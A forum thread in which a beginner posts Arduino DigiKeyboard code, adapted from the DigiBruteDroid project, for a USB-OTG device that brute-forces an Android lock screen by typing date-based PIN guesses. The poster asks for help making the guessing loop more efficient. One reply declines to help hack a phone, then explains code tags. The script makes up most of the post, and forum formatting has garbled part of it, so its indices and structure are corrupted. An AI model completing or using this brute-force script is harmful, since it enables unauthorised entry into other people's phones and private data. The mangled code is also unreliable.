help with the coding, very simple one i guess

So I tried to make a code that will use otg to enter combinations to unlock the phone (a slightly modernized version of the code that I found on the internet). It is intended to generate date strings, e.g. 19960518.Respectively 1 =a 9 =b 9 =c 6 =d etc.
However, I have no idea what to use and how, while e = 1 and f = 2 to increase the value of d by 1 and reset e and f. Right now my code count to 20 months and then change the year, and it is very ineffective.
And yes, im total noob in coding, that's my first attempt.
Borrowed from "GitHub - seattleandrew/DigiBruteDroid: A 4-Digit PIN Brute Force attack for USB-OTG Android devices"

#include "DigiKeyboard.h"
int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 1;
int b = 9;
int c = 9;
int d = 3;
int e = 1;
int f = 1;
int g = 0;
int h = 1;
int count = 0;
bool key_stroke_e = false;

void setup() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
delay(1);
}

void loop() {
if (count == 5) {
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(40);
delay(1);
count = 0;
digitalWrite(1, LOW);
}
if (key_stroke_e == false)
DigiKeyboard.sendKeyStroke(40);
delay(1);
DigiKeyboard.sendKeyStroke(num[a]);
delay(1);
DigiKeyboard.sendKeyStroke(num**);**
** delay(1);**
** DigiKeyboard.sendKeyStroke(num**
c** **);   delay(1);   DigiKeyboard.sendKeyStroke(num[d]);   delay(1);   DigiKeyboard.sendKeyStroke(num[e]);   delay(1);   DigiKeyboard.sendKeyStroke(num[f]);   delay(1);   DigiKeyboard.sendKeyStroke(num[g]);   delay(1);   DigiKeyboard.sendKeyStroke(num[h]);   delay(1);   DigiKeyboard.sendKeyStroke(40);   delay(6);   h++;   count++;   if (h == 10) {     h = 0;     g++;     count++;     if (g == 3) {       g = 0;       h = 0;       f++;       count++;       if (f == 10) {         f = 0;         e++;         count++;         if (e == 10) {           e = 0;           d++;           count++;           if (d == 10) {             d = 0;             c++;             if (c == 10) {               c = 0;               b++;               if (b == 10) {                 b = 0;                 a++;                 if (a == 10) {                 }               }             }           }         }       }     }   } }** **

I'm not sure anyone will help you hack a phone.

To put your code in a code box, use the </> icon in the far left of the post tool bar and paste your code between the two bracket sets that appear.

To go back and put your code in a code box, in the bottom right of your post, select "more" and click modify. When the modify post opens, high light your code and click the </> in the far left of the post tool bar. This will put you code in code brackets. Then save the changes.